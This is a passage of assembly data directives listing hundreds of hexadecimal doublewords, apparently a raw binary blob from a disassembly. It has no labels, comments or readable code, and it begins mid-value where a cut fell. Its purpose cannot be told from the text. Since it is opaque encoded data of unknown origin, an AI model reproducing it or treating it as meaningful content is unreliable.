0FEFCCE64h, 68481800h dd 14DCC13Eh, 5168C00Ah, 9806BA1h, 60266487h, 0D513FFh dd 34DD3758h, 0AC354374h, 7F977504h, 1C90769Ah, 15467EFh dd 0A12F2931h, 52DA68BCh, 93306CA0h, 1F2D1197h, 51D484C0h dd 97E48B00h, 803A4031h, 547CA486h, 9E025E80h, 17BA4A69h dd 17B4456h, 47B2E38Ah, 0FB1C24DBh, 0D75BD200h, 0E413B311h dd 4D790FB0h, 0E6C1A390h, 0C829E7DFh, 950093F8h, 46829737h dd 55DDB269h, 808D50AAh, 3991ED2h, 21001950h, 5B970186h dd 1356617h, 0AC73C247h, 20877603h, 2300D26Ch, 9EFE2A15h dd 3E163BA9h, 74008308h, 552F7BCh, 21027DABh, 0F24CC972h dd 47C4C9Bh, 0A5DC112Dh, 0BF68677Ch, 4710D400h, 6409C181h dd 821A4A01h, 0C9C523D8h, 0F566A181h, 41A56799h, 0CCD94B9Ch dd 1A0006CBh, 71B843C3h, 4CD02AC0h, 30C01CBDh, 4EA08C3Bh dd 9A225E43h, 3218DE03h, 0E94EB239h, 0E470759Bh, 5D300C8h dd 30ABAE14h, 29008487h, 3E40E943h, 504B8D34h, 32B68880h dd 0DAE1D6EBh, 869E1841h, 0CF26FF59h, 682C4DA9h, 72164223h dd 1EA18304h, 88CE68D8h, 3B002B7Ch, 31D8C50h, 26285C9Ah dd 748CC49Fh, 1779746h, 0E2900DCEh, 0E8B37A6Ch, 0D64C2301h dd 43498208h, 0F53C40AEh, 0A7D734A9h, 5481C1B8h, 91B4214Ah dd 7C804478h, 6EA0D83Bh, 0D7A5208Ch, 3A00E4E4h, 9B6C1C2Ch dd 29BD104Fh, 90BF98h, 8F03659Ch, 33E4FA2Dh, 68C01998h dd 7D322FDAh, 3C2540E8h, 4218D3E4h, 4720302Bh, 1892A7h dd 36BF09AFh, 0C1EDEE91h, 0D141A530h, 46C4920h, 3FD63BA3h dd 0E784918Fh, 64200DADh, 0D81E24DCh, 40CCC484h, 497D790h dd 0ADC903A2h, 0A64667D8h, 7C065C8Bh, 7DA002B3h, 88045490h dd 0ED2F0C3Ch, 0BE70AB66h, 17FC30E3h, 0D11D4A43h, 0DCA5C410h dd 7DB3379h, 12180D21h, 0C43224C7h, 8790C84Ah, 11E33301h dd 0F5E8108Dh, 8822A0D1h, 86696A03h, 1FC5D27Ch, 0F5A10544h dd 3EB402ACh, 1C407587h, 5903D547h, 7FD2510Fh, 0A109901Dh dd 0E0F2FDCAh, 0C443F7FDh, 4083C129h, 802F503h, 81642A1h dd 109E47CDh, 0F43D845Dh, 46981244h, 60517BF9h, 0D1DA79E9h dd 85002A55h, 31349046h, 0FE25C8h, 0F1565227h, 0D8608E9Ah dd 0EDECE303h, 910CA1E7h, 7F7095BEh, 0CEF600D4h, 0B2F30E7Ah dd 0CC00E720h, 0ADAA8C7Dh, 7C8D107h, 0A077E893h, 0D603B037h dd 8400DAE6h, 2FEB38E5h, 1C829C73h, 80286420h, 5A9ED821h dd 61004704h, 0E01BE5F2h, 0A23658h, 8068DC2Eh, 98836221h dd 750F16B8h, 0A4DDFAD8h, 3480889Ch, 987A46AEh, 4F8F0693h dd 1944EE54h, 85BF5900h, 287A5E14h, 8890CBh, 0CFCDFFB4h dd 0F82F6F97h, 9B063300h, 0D6E71707h, 0B8E0A045h, 8BF9008Fh dd 0B5E80864h, 8C018AD7h, 99CB4EADh, 84200EAFh, 81A900CEh dd 5DE935FBh, 8C00B22Fh, 2D3FA23Dh, 17BBE51h, 5E4953D7h dd 0C86E4DC3h, 0D6007167h, 51C69F82h, 0DEC142h, 93840D6Ah dd 0BB06D9A3h, 49891B38h, 0A7220F20h, 6A00B70Bh, 35855A05h dd 55970003h, 0D85BD9B1h, 78C0DE82h, 7BF0CB91h, 6DFC0078h dd 4FD0233Eh, 7A00D8E0h, 156F10B0h, 4925DEB9h, 2C3E5056h dd 0DCACA780h, 2A760D5Bh, 0FF59F905h, 9407AD40h, 1490B2BBh dd 7E9D4Eh, 0D506F35h, 0D265E30Bh, 0D8449800h, 768C5D40h dd 0E46FC90h, 79279102h, 0C3CC003Eh, 9FD919F7h, 0C8000EB0h dd 0AC043EC9h, 162CE253h, 764355Bh, 0C0BDAFF6h, 0F3BCC18Bh dd 0D3006B76h, 96EB87D8h, 0F769E3h, 9E60B953h, 48440E57h dd 2302BB72h, 0D6AC2007h, 0CD234041h, 5F7632h, 36ABBE6Fh dd 5198CE30h, 9E499706h, 58689FEBh, 8A0C90C8h, 2A189624h dd 3D8871Fh, 0AAB79DC0h, 94DDFEh, 0C2DA8D76h, 3F4B669Ch dd 449A4D00h, 5F5A23Ah, 0C4310072h, 912A58C0h, 2C01485Ah dd 896C413Dh, 45206F76h, 9E720039h, 0C8AF8EE9h, 7500B8F2h dd 0FA3770BDh, 521BE7h, 0ECC2A06Bh, 0E1DE8673h, 91031779h dd 0F11ABBEBh, 0F809496h, 47B4E0h, 1F806DECh, 0E4AE337Bh dd 3A621E00h, 0DA73A83Ch, 6AE200F7h, 45CE5A1Bh, 2D1DA57Dh dd 834F7A37h, 0C03A6EBAh, 53382A22h, 0A21600B3h, 48722789h dd 43F259Eh, 0E3DD0799h, 6410ACF7h, 581759h, 3BBC1ADEh dd 0C8391EC6h, 89F0EC00h, 18FCE8A8h, 7D290781h, 0E04E83AAh dd 112360A1h, 1D0E2C0Eh, 90D18085h, 12B176E6h, 0B1CAAF0Dh dd 5D7760D4h, 0DD01F924h, 0E5A4003Ch, 0B32F9D73h, 6E103F39h dd 4BB41780h, 0A3539E6Fh, 0C2EEDD03h, 0E082DF57h, 41F645h dd 0E8F8E02h, 0FF096C11h, 0B26B9826h, 5D25305h, 0ED74D400h dd 19A340h, 2C9483DEh, 6DDB2B6Ch, 75A49900h, 38820E58h dd 1D4E4B6h, 60A034ECh, 200F6AF7h, 22005330h, 90C51329h dd 0ECEDCDAAh, 7C7612A5h, 0E0A4003Ah, 0CF9C248Bh, 0AD00D377h dd 0C9EFE627h, 290E4Fh, 4911CCD4h, 0D1F0A110h, 0DF6CA800h dd 0C035F6C2h, 0DEA500C8h, 526D60E0h, 161D6729h, 807B0B33h dd 4A026FEh, 3DA89E39h, 6982AEABh, 4D72F2A1h, 0D17CD880h dd 0A0070475h, 5BE14A2h, 77BCC2B0h, 0DFBF00B7h, 7F628D6h dd 1F0110E4h, 8F34634Ch, 8EC60AFAh, 464BC0FAh, 5C4359h dd 0BCCCB222h, 0F117ADFFh, 92AC8A1Ch, 0DE2C4942h, 35E0D553h dd 3500B9C0h, 0B3EB75B5h, 388CC7Eh, 892B4E8Eh, 0D0B3446Dh dd 0DF4B85E8h, 62C66100h, 90661468h, 0F7CE006Ah, 74673FB5h dd 9A05052Bh, 9D0FC979h, 9AED301h, 3FCC93D6h, 0E8840066h dd 948BEEB6h, 0DA0048D4h, 282B0F39h, 97F38Ch, 0F8A178D3h dd 76B30E3h, 0A0139h, 38B31762h, 245BCACEh, 785A4Dh, 45DDAE03h dd 0D1772B1Ch, 0D4C6160Bh, 0F4B70044h, 0AD84FDh, 0BCEF3D34h dd 22A88C41h, 0DF749E03h, 90F6945Ch, 0B6DBBAh, 60230672h dd 87B4ABB3h, 7AE8C500h, 0F0A28056h, 22C4009Ch, 0CBAC1A53h dd 0F200324Ah, 0C063FA7Ch, 3891BDF5h, 720270F9h, 4084CFEFh dd 0F40D9040h, 9B21B324h, 37081500h, 0C45ADFh, 57AA7014h dd 6867FF93h, 0F402BE07h, 7740A97Ah, 0F4C16EC0h, 6017FACh dd 8608E8A4h dd 0D22472D3h, 240490CEh, 44C89B7Eh, 0BEBD00D7h, 5BB15E0Eh dd 3C00CFF7h, 8A1E1569h, 237E53h, 1C6BFD52h, 9376357Ah dd 0AF1F8898h, 9480B920h, 683A9043h, 0F2080088h, 4C0AD67Dh dd 71004891h, 72B5CC1Fh, 3F60B0h, 39FDE1B8h, 0FFB7501Ch dd 0E084C0F1h, 769EF813h, 0C7947618h, 49C50CEDh, 8B105363h dd 9CA093Bh, 80617F9Dh, 0D52DD838h, 0EDA04C3h, 80254495h dd 1159DC4Ch, 943F20h, 0E39D1D6Ah, 0F74D8435h, 21E226FEh dd 547AEE00h, 728DFC52h, 40501674h, 5F2C1E24h, 0B895800Bh dd 7C6848CCh, 3B22A903h, 0A1EB13C1h, 4C200B11h, 5D7B008Dh dd 54F28189h, 61249539h, 5003AD1Ch, 0AF820319h, 4C567380h dd 10A000F4h, 154B5E94h, 0FE00579Ah, 1969379h, 0B02524DEh dd 97AA0148h, 0A6A12C4Eh, 0FEFF603Eh, 2940DA13h, 0C1D84800h dd 4641DFh, 0F2091AB4h, 1962FD8Eh, 8C9E5C04h, 88D01185h dd 4A020E6h, 6346943Ah, 9686809Dh, 0FD1D766Ch, 0E17C434h dd 643A7900h, 13634899h, 369D3h, 7F28AF18h, 700076FBh dd 2022DD91h, 0C6DD4F4h, 0D52F150Ch, 58005E38h, 0D6B35F99h dd 92B856h, 0E881DE7Eh, 67FA1EA3h, 0F9D28418h, 4B9350h dd 34E7CE12h, 7B255541h, 2B0256B8h, 3037A98Dh, 80AC4365h dd 0E781B84Ch, 4F4A448h, 33820207h, 0E8E080CDh, 0BE77B92Ch dd 0A8080A1Ch, 724E3480h, 98195EFBh, 7AA42AC4h, 955200C8h dd 4CA9EBE8h, 90376B38h, 11B0E041h, 0C004AC32h, 2E22DAC8h dd 8D07C3C9h, 0A36A4E51h, 6F0005Bh, 358E16h, 0C80E7860h dd 0DB52B771h, 2A12CD00h, 53F88590h, 0E7460386h, 784CC9ECh dd 5D25C6A0h, 2E365C00h, 84156321h, 5850968h, 9A0E47BAh dd 7E174EDEh, 0A3A6ACE0h, 23007844h, 69BB526h, 0ECB89CDh dd 31D228E7h, 76831AC0h, 0D9269118h, 3600D0ADh, 9DB18F49h dd 0C60302F3h, 7020EBAAh, 0D2C0F340h, 0D556DA18h, 3A13FC49h dd 4A0311CFh, 0F8D8ECE2h, 25FE1801h, 74B1E0C6h, 60A627D5h dd 7AEA00C0h, 95BA4304h, 6FD5AB00h, 94E6A84Bh, 0CB0A0015h dd 73574DEBh, 8F009119h, 79D992DEh, 98781FB7h, 0A5D80238h dd 8772DDE7h, 67F5D360h, 97617D00h, 3A2ED02Ah, 0EB7A0043h dd 870AD7DEh, 4B73DD77h, 78948400h, 0B3EFF176h, 0D67F03C8h dd 0EAB5C596h, 40880E4h, 1000ED2Dh, 0F050BC44h, 0A93EB3h dd 7AB261Eh, 0D3A5CFCCh, 9B70DC26h, 4E4D0300h, 0D7DD13h dd 0BD6ECBB2h, 0AF43ED62h, 387D900h, 0A8BC9A75h, 6FA40E54h dd 0C7E04B72h, 26371B2Eh, 5D2B820Eh, 4D512070h, 0EBC0FFh dd 3274AE9Fh, 24D14E56h, 0F8F54F1Dh, 88D8428Ah, 46073900h dd 369AFBh, 0E7687CA1h, 7D6148D5h, 66B3860Ch, 0E8118Eh dd 381CB08Dh, 2E01E212h, 2B0075E8h, 0A59E3788h, 6021F17Dh dd 0F4D595Bh, 384C47C6h, 0EC40017h, 1A48155Ah, 70DC985Bh dd 9FCA00C9h, 53969771h, 0BE007AABh, 0C88A8C1Fh, 2473321h dd 0FE72E73Ah, 64E0CE52h, 0B800E9A4h, 226CFCB9h, 7FACA9Fh dd 0AF15AD92h, 3C76D0A3h, 90043039h, 4B8E9197h, 0B013BA80h dd 9CAE4878h, 0E11012h, 4FC119F4h, 0C770741Bh, 0C6D77A00h dd 775CF352h, 0B8F0032h, 490544DDh, 0B1017BA9h, 8460C1D4h dd 0B6C0CF0Fh, 0DF7F0066h, 89D28AEh, 200037DBh, 0E50CBC4h dd 15DE2FEh, 0C6533A2Ah, 0F87FE3F3h, 75059252h, 27951B85h dd 0C8D0A80h, 367B4Eh, 414A31BDh, 66300234h, 0E4EB991Eh dd 0E74EAAC0h, 0FCC8AB1Ah, 73D748B1h, 9DFFAD04h, 0F1CC00Ah dd 0E7009B20h, 21B0555Ah, 6F32AAh, 5CFD8BDFh, 1F9ECF4Eh dd 0F702F113h, 0B81DCB13h, 37C65A80h, 26908878h, 802056CDh dd 204AFE4Ch, 9E00FB5Dh, 3DA27660h, 7A50D06Eh, 3BB6256Fh dd 21DC7080h, 480761EBh, 6FD57C9h, 39BADFD0h, 0A970018Bh dd 59DEF2C8h, 0FBF4C86Ah, 3C8CC005h, 8874AF5h, 79073FC1h dd 269E7460h, 16DCA3h, 0CE66323Bh, 0C4E68D5Ah, 4AC99B00h dd 3FB65F8Fh, 62AF4B4Dh, 502EBD4Ch, 4DCD3283h, 6D2DA000h dd 9F9184A0h, 5BB90078h, 0BF43C1BDh, 0FC00245Ah, 4F11EAC2h dd 0FFFB10Ch, 0CEB03AF1h, 4DAEBC20h, 82005D32h, 6152225Ch dd 4841FEF9h, 4F0B748Ah, 0A7008DE6h, 0E2B9B2C1h, 8E107201h dd 4EBBD589h, 92933EF0h, 67B1060Ch, 4890026Bh, 0D76FE100h dd 0F1AA0E47h, 28B60C81h, 1211246Eh, 5316C317h, 0D4779841h dd 0B0EFEC2Eh, 166FDF2h, 0BD83EFFBh, 80E7DDDEh, 0ED9EE519h dd 77602D3Dh, 28590353h, 0D2D0B247h, 12D7F390h, 0E100DDEAh dd 2474F50Eh, 2AA6C8h, 94396E62h, 0D49C1455h, 21C57700h dd 27F1962Bh, 348172Ch, 44E0009Bh, 0D36E39ACh, 4FABC100h dd 869E5228h, 0D887005Bh, 0FB429BA2h, 343B03B1h, 643F1496h dd 9C7F07F0h, 7B540BBAh, 248210E0h, 0E84C47h, 5EE877F9h dd 0C0B0DC3h, 80B9DF0Bh, 6B9A7CA5h, 0B0ED5B93h, 9F00811Dh dd 48639B99h, 738A5BCBh, 3C35017Ch, 94D2FEBDh, 99B9EC89h dd 254F000h, 3985F3F9h, 6BE400E5h, 87919BEh, 0C0001571h dd 0E04CDC73h, 4EECF4h, 9D755937h, 6A8EA407h, 9B732000h dd 7FC517EAh, 0FDE818h, 81F1ADFh, 8E434FD2h, 0A78A0900h dd 0D099B1DCh, 223C1C2Bh, 0D8604064h, 131BC1CBh, 7A75CE07h dd 0A1905E0Dh, 0E9A069h, 4517D75Fh, 284005FFh, 0D005977h dd 5AB5D213h, 3CEF7116h, 0EE610F60h, 60DE587Dh, 0ED00572Ah dd 647B5A17h, 0C0976092h, 11DA9148h, 1578EAC5h, 0C22AD060h dd 1D51E0F4h, 0CE326D61h, 0DCC0CBCEh, 278F8022h, 2D4FEA00h dd 0F41206E2h, 0F6AA0F90h, 0F3A029EDh, 0D2F56C8Ch, 8109AD39h dd 82797D10h, 0FCD8F422h, 83ED0FB3h, 95CE5D8Ch, 8811A98Ch dd 7568EB00h, 7C1846BCh, 0A22D3F78h, 0C4A52481h, 80F301AFh dd 8E0FEF28h, 1685C72h, 0E9425E66h, 0ECB187E5h, 1600B24Ch dd 5D4EEDDAh, 728C8A1Dh, 0D5D30078h, 77BAF469h, 9305788h dd 10BF11DDh, 79E274DAh, 1BDC0A66h, 3E8F801h, 5C5AE86h dd 6E02D6E8h, 3D11DCFDh, 0CEDA7700h, 54FB2E2Ah, 647881h dd 0A2B10890h, 1C85C0Dh, 0B7008A98h, 0E602D59Ah, 0C7881Fh dd 81A51283h, 0FFC58AEBh, 6C207B03h, 0F850E047h, 93CC86h dd 70C8BAADh, 0E517D605h, 3259F200h, 97CBC0FCh, 7AB5EEDDh dd 1F21C7C1h, 53CF505Fh, 0A200F454h, 83C4197Dh, 39737C51h dd 6E0FA85Ah, 9F8B1D98h, 0D40580FFh, 9ED4148h, 0B4BF4AA0h dd 8CC4F100h, 0A5002713h, 3EFF4E1Dh, 0A35218D6h, 7E1B98C3h dd 31CD3D8Fh, 3A2F9D00h, 92414990h, 0C6F73Dh, 5E3322CEh dd 461239h, 85513503h, 61E8B9FEh, 5C9E4000h, 0A02BDB0h dd 964F07E3h, 203541E5h, 11A481DBh, 0FAB47B00h, 570EA56Ah dd 8EF41F5Dh, 7C9F4088h, 65D80B3Dh, 6D541F2Ch, 7F845300h dd 66504Eh, 34D4FEAAh, 59B9805Bh, 141551Eh, 0F11300F9h dd 3DE2285Eh, 42600423h, 8014CF6Ch, 40ACD42Ah, 8C29650Ah dd 600EC0F2h, 0C7A1E005h, 413E58h, 43B18246h, 4588B7B4h dd 1DF4941Eh, 93A200FCh, 957456FDh, 59D40048h, 90D05EC8h dd 38008791h, 0F9415777h, 6984383h, 718BB4C6h, 10DF548Fh dd 8DAAF700h, 0C7778FFh, 0B4407FFCh, 15001938h, 3457AF4Ah dd 0C042EC70h, 7DF3DF30h, 0F500FB1Eh, 0AF460DFAh, 28A9388Ch dd 0A64D75h, 7C8685C6h, 0EDCE43DEh, 0D5F1B400h, 0A98FB129h dd 7DA0047h, 89236F8Dh dd 0EC24D21Ch, 0FD00CAC0h, 7B99B53Eh, 7E0798A3h, 3680394h dd 2B871D70h, 0AA5647F8h, 9B0D4D00h, 0ECB5B397h, 52FAAFh dd 0DCBF9810h, 407470E6h, 627D8800h, 0E5EAFB7Ah, 0AA9A00C0h dd 4D45333Ch, 6B1E40B9h, 47C0685Dh, 9B30F64Ah, 12FF095h dd 71836A92h, 0DC17D5C6h, 0DF032BE7h, 10BB0A60h, 90E80199h dd 6F882182h, 0A2B5C445h, 0E7CB0F00h, 773A482Ah, 0BC795Bh dd 0F2F12547h, 0B7A21517h, 4650EC03h, 98CB2613h, 2475993Dh dd 12995370h, 4D4E007Ch, 0BF5888Ah, 0ECEAAD02h, 40AEC0DAh dd 0EB15443h, 4E261FEEh, 0A5C4AFA0h, 0F0003C43h, 5F0E76FBh dd 76A211Bh, 3D5340E4h, 694A4187h, 5C95D42Bh, 2900647Fh dd 7D3E4E99h, 4CB5E06Eh, 0C600CD60h, 0ACA7D936h, 9600DE02h dd 0C3CE5377h, 720F928Ch, 7A720067h, 57EAE43Eh, 4400D28Fh dd 6A4C586Bh, 3D868D60h, 6500D0FDh, 85E1A3F1h, 3200B642h dd 43BBC1C0h, 0D18AF8h, 0A0CCFB23h, 9025FF51h, 0B030BA0Ch dd 204EA4h, 1B656254h, 7211E50Bh, 18A61900h, 22557704h dd 0B29A00BBh, 53ABADDCh, 2CE21D44h, 0E1B7EF0Ah, 8B1CC8DFh dd 5793040h, 1A5081h, 0A26B29BFh, 0EA17B6F7h, 1BCF2C00h dd 6EB2414Fh, 3C7D3Dh, 0E157C3CDh, 0DC8C0BA0h, 0AE5F8A00h dd 9958410Dh, 530A0392h, 45F01821h, 2C386000h, 867DB5F9h dd 0EBE10067h, 0CE339BB6h, 20C38757h, 93400AA9h, 4CA7C039h dd 24109852h, 1EB46B23h, 3E371E38h, 8A890070h, 766DEB7h dd 0B6006726h, 0AE3E2F5Fh, 141540D8h, 3CCB0B69h, 519DD607h dd 621480A7h, 6D0F4EF7h, 9D3039B4h, 0A0FBAF0Fh, 5103F844h dd 0B6471452h, 548D2065h, 0FA908588h, 0C02C010h, 0A5B51A2Ah dd 0DB0034A0h, 4562138Fh, 7D8200F4h, 0C0883C57h, 0C500EF2Ah dd 0CB436491h, 717325F3h, 0C8AD4CFDh, 68FEDB00h, 0A08A1BD1h dd 0B300547Fh, 0EF5FD8BAh, 645782h, 0E170350Ah, 56D79DA4h dd 0BF870D05h, 80AB485Ah, 13B3E60Ah, 4B114600h, 67DB27C5h dd 7254269Ch, 0AC2258h, 0A4C66313h, 7D22B56Bh, 0E08AE100h dd 0F6D94906h, 0C58B0A80h, 81C481D6h, 0B5C792C2h, 0B0408654h dd 30E99501h, 6538FCEBh, 6E00B9AAh, 0CD404FFEh, 0A01ECAF1h dd 4BD920h, 421774AEh, 467DB0F9h, 7361C00h, 0C928B175h dd 0BCAF2E6Ah, 0E3DD07BFh, 4E616CE1h, 26B0AE07h, 0D5432736h dd 95190599h, 0AD16B69h, 80C01CFCh, 0B1573494h, 4500223Dh dd 8A7E48E7h, 1F7EEBDh, 1F13ABC5h, 60C3B86Fh, 0EF4CAD0h dd 255EA1C0h, 0E04BC7EEh, 9BCB0039h, 0AFC80B9Eh, 0E0C46428h dd 8C942E12h, 4DC68C00h, 0EF4034h, 13FD420Bh, 0E40AC8C2h dd 0FC4E691Ah, 0C1041D10h, 802E5C7Dh, 3F920A10h, 0DA70E5h dd 6B14DBC4h, 0B43DB8CAh, 0D9B1B600h, 95559142h, 1C6074E4h dd 0CFFA38h, 823EB4F5h, 79001DC5h, 3AEDD432h, 544D22h dd 961E278Dh, 80205FCAh, 0E319240Bh, 0E012006Ch, 0A79FC8h dd 8AD4DE91h, 0CCCF7AA4h, 0E929C400h, 7FB2F550h, 0C6E442h dd 0AA8A194Bh, 85D057E7h, 0C00EE100h, 5905BC52h, 0CF1007DBh dd 0C196C879h, 0D01257DCh, 20007546h, 0AB5C7CC6h, 270AA5h dd 0F6508236h, 0C254F911h, 520040EEh, 43AB6D0Eh, 87B6E0h dd 0E7EEDB81h, 7C1CEFB3h, 0F9CE300h, 0D326FAC7h, 4A5400DEh dd 5F36CB88h, 0EE002A39h, 0A5573AB4h, 982068h, 7E9158A4h dd 16BF30D7h, 0D56A7200h, 1B151834h, 24C10FB2h, 85007B89h dd 93171244h, 0A1E7491Fh, 9BD7D401h, 20807D0Bh, 1D0F3351h dd 0AE00C5C0h, 159244E4h, 0A40A12Ah, 0BD8C0C63h, 0A09C00E4h dd 6FE49125h, 0EB880A09h, 7999801Dh, 769B95Eh, 0B4707E10h dd 3D6F2098h, 1D062308h, 788AE3B2h, 0E7DE0C11h, 5AD8899Dh dd 0C70232F2h, 0E8218B5Ch, 0A0516297h, 0BF769518h, 15AB0108h dd 4209B267h, 6583D0E0h, 6D267300h, 4E17DCF7h, 0BC1B0066h dd 0F18BAF35h, 3F00F361h, 0A6D9CCEEh, 18E348h, 62CFDE21h dd 0D278F9C0h, 28EC5C00h, 0FFABF0EBh, 0F45B3C74h, 99736480h dd 25FD700Bh, 55BE3600h, 5E6A8E62h, 0D893005Ah, 0ADDE666Ch dd 0EA1833D5h, 98C082FBh, 9D7894h, 48F6FC03h, 8E6910A8h dd 0C85B6707h, 893B85h, 94FA227Ch, 0B9B0C0B3h, 56034924h dd 0DD712609h, 1C7B0002h, 0CD9FBEh, 0EE0DAAB7h, 4F419803h dd 593A4671h, 390B0640h, 2150147Dh, 551FF8F7h, 0D826765Bh dd 1D0CE6h, 24DE4011h, 0D4614D47h, 0A814E31Fh, 12394B07h dd 959E19E0h, 2E770799h, 0E0FDBC49h, 487B7392h, 0A1C6C18h dd 122741h, 7E44D3D0h, 0AA039C75h, 4CE4CA00h, 98B65B47h dd 0F5DB071Fh, 435192E1h, 69B083ECh, 0FF03E001h, 0C495B07Dh dd 3FC2AF08h, 4AD7402Ah, 4EA20020h, 51141D34h, 0F2008D3Bh dd 699CAEFFh, 82B01Ch, 6C2BF99Fh, 0E704FA03h, 0C3D42F04h dd 10905572h, 8C77D0h, 7AA597CDh, 1F38519Bh, 8FF45300h dd 465B10E8h, 0B4231728h, 0A31E0026h, 0E935C952h, 4A533Eh dd 5AA1AFB9h, 597FDEh, 108B2731h, 261B9BC6h, 53F26A1Ch dd 9E6096CFh, 0FBF1EC80h, 585DEE3Dh, 0AD173551h, 0CEF70F06h dd 0C15B5260h, 2400FD20h, 0BBC8EE4Dh, 33B61Bh, 0D931C0BDh dd 0B8B90BF7h, 0A700C672h, 0DE2404C2h, 0BA3540h, 9528B36Eh dd 72B9A452h, 4D86F400h, 7B9EC21Dh, 34D00031h, 76C1EA35h dd 68027E37h, 0E3CB925Bh, 82D6C0AEh, 16DA0F79h, 75003BB1h dd 4C11198Eh, 3A3DFC00h, 0B2562A1Bh, 0B9858h, 3B6F34C2h dd 0B635C7EFh, 1E4FF800h, 82DE9CF0h, 53253044h, 59367338h dd 0BAE8AF00h, 74BB2EFDh, 325A1CF6h, 81F78095h, 434A914Ch dd 0DA048D1Ch, 7B55A700h, 77FE52Ah, 4250982Bh, 6122B18Bh dd 0DD2034A3h, 4DC00C02h, 40608965h, 0C81F3Ch, 1E665347h dd 73A4DE3Fh, 4F0E7A00h, 2CB91D38h, 2C98480Ah, 5DC66C00h dd 74ADE4BAh, 2544509h, 0D3DC005Eh, 3C98A063h, 68C98C1Eh dd 613DCC02h, 40C899CDh, 207487ACh, 0A6FB2A03h, 0C0C0C217h dd 729461C7h, 64D9019Eh, 0D2CD4BECh, 0DAE3FC4Ah, 0AB291B07h dd 51275DB2h, 0F77420E0h, 0F16E02F6h, 7DA80534h, 0EB1A3E3h dd 4922D49Fh, 0BC144Ch, 7EECE54h, 0ADF1C2h, 0E7125CF3h dd 0D9CD83FEh, 0C7CA900h, 7134C0FBh, 0F79B006Ah, 76C73BEh dd 500CF89h, 0C2A21EF0h, 816120h, 0BA7DC6AFh, 0B7F57495h dd 0B03D0600h, 0E31A6EC4h, 87ED01A5h, 5580C596h, 0DD22C0F6h dd 0FFA3E700h, 0C67E2309h, 0B4D83F6Eh, 2B80D73Dh, 0D150ECBBh dd 94008DCCh, 0BD212A63h, 18168DBh, 30D44C79h, 0EDE05EC5h dd 0F2AAFD07h, 0EB026440h, 191D5001h, 0B2B9E47Dh, 3E5178F0h dd 6B879C32h, 0C7031FA9h, 0E88089EFh, 0FA23745h, 2500D07Ah dd 0C8D8EE33h, 0F83B7FA6h, 291500C5h, 7B5D8E05h, 20007907h dd 95B9F44Dh, 393A01CBh, 0A8FB49BBh, 3F1BAC8h, 1071FE2Ah dd 83D0233Bh, 0B90FF8B3h, 6003E021h, 0E2E79AAh, 0D6F6B2h dd 61621E26h, 0F991BEDCh, 808FA43Ch, 7135E788h, 0D4FBAAh dd 95794876h, 83EFE003h, 9D470707h, 2FF01D99h, 18FAC5DEh dd 3078FE30h, 0C70756D8h, 0E9B03AB5h, 4F7CADC3h, 0A0AAB018h dd 1600CBE6h, 1C55D789h, 955080h, 0F27CB7F6h, 8E496B21h dd 0A03D0E4h, 0DB084D2h, 9227A0F4h, 549349B7h, 55CDF601h dd 303DA7BAh, 8F1C45DCh, 0DA400176h, 7DCA63EBh, 821C1243h dd 1031383h, 0ACA3D650h dd 6A5BF878h, 8723363Fh, 6530C01Ah, 7F062970h, 73E00F47h dd 10C0EAD9h, 0FC4FF2E5h, 79C0ABB0h, 0DDB02665h, 0A1561DEAh dd 7C8405DBh, 8910006Eh, 0F9AE03B5h, 98397303h, 0A0D67211h dd 0A0BDD5DEh, 369428h, 5E288F4Dh, 69B87D2Ah, 0A400DB70h dd 0E5667256h, 7497598h, 0E28BC75Fh, 5E30731Bh, 7C63D488h dd 0CC31F60Eh, 93C2C058h, 0D871C5h, 6B13FD16h, 994A146h dd 29017216h, 96278000h, 7D52E1h, 10D55E18h, 8F69A305h dd 0E63C8900h, 369094A5h, 77B40796h, 0F1B5472Fh, 4020951Fh dd 0A142ED6Ch, 673C66B8h, 4860800Fh, 0F478E673h, 0ACE9012Ch dd 534CEF5Dh, 153B606Eh, 1735700Fh, 128D606Dh, 3DB3E3Fh dd 0DEB3B60Ah, 0E2805926h, 0C298FBFCh, 8053FD38h, 6A4CF810h dd 3235DCBh, 0AA161A73h, 0DC0FA0Fh, 58001D61h, 0A5E2F8D4h dd 8DDA42h, 128B2935h, 0CDA706BFh, 0B12E5A07h, 22D7F2B4h dd 0D6889EB0h, 0ED0700F0h, 3DE63BEFh, 8C0044D9h, 5E963387h dd 3B7A6ABh, 0E55901BEh, 0F170FFF6h, 0DAA71201h, 157C4FB1h dd 283AD028h, 0B5528D94h, 8A5F6305h, 9630C1BCh, 8439800Ah dd 0DDDCED5h, 0E6470153h, 96CB5CEEh, 13FC43F7h, 288948Bh dd 5300F624h, 54AB0F90h, 683DBDh, 0E0FCCA72h, 63B99EFDh dd 2157FB14h, 6D990384h, 0AB2CBAF1h, 0EFFD9818h, 0C74B0050h dd 28942F98h, 0BB0E353Dh, 40F2661Fh, 0BDB2E091h, 0C88800D8h dd 86B664A2h, 600041F5h, 0A35C123Ah, 0CF2CA1h, 2D65F80Bh dd 8C2A3399h, 4148A500h, 67D26A9Eh, 0DD2B182Ch, 1C3F58ACh dd 604C9F00h, 0ED41F8E0h, 0B37829h, 346426DDh, 3F0663B0h dd 75CFAA01h, 88A98690h, 58C5044Fh, 43207AD0h, 0DB85BF04h dd 69D020ACh, 51E8F3Ch, 5A9ED3BFh, 0DF35102h, 5493007Bh dd 0AFF4497Dh, 6EC2E000h, 9ABEFC8Ch, 865E0003h, 0D20DE924h dd 88008AA7h, 6349C169h, 0F544304h, 0DC9FCDD0h, 2088680h dd 0D9003FC3h, 0ECD48F7Fh, 9073EB2Dh, 425A3A88h, 6749CD80h dd 3A907F52h, 1C8B9805h, 202CA0A2h, 72374655h, 9F501900h dd 0AC10770Fh, 306E7F93h, 1BE8C145h, 24E0E4B0h, 0AF849D0Ch dd 3FF31972h, 0FC7BF4h, 0A30CB78Fh, 4677383h, 0AE066A02h dd 8087F3B6h, 0D3929884h, 6964038Dh, 69450C2h, 0FFCDF5C0h dd 41ADFC0Ah, 0A038808h, 758D8CFh, 0D7D03060h, 73DD402Dh dd 0F402080Fh, 0ED51A4F3h, 0A8C8A3A0h, 0A9E000E4h, 849B87E5h dd 2200ABCFh, 0FE56F88Bh, 674831BDh, 0C7B3B144h, 0C60E80E3h dd 0CB6C376Ah, 0A8830679h, 0EC85DBE8h, 0D360CABBh, 0CB230034h dd 0A413685Ah, 9E00A8F8h, 810293DCh, 88409FDh, 5DD1C4E0h dd 8E1F4186h, 3B680099h, 630574AEh, 115CF309h, 0B6441E6Ah dd 88BAB747h, 9ACE4D81h, 36697C0h, 45CA4668h, 3B54838h dd 40CEB75Ch, 0D12A9C8h, 0E88BB80Ah, 3D40D0A0h, 0F23D0CDh 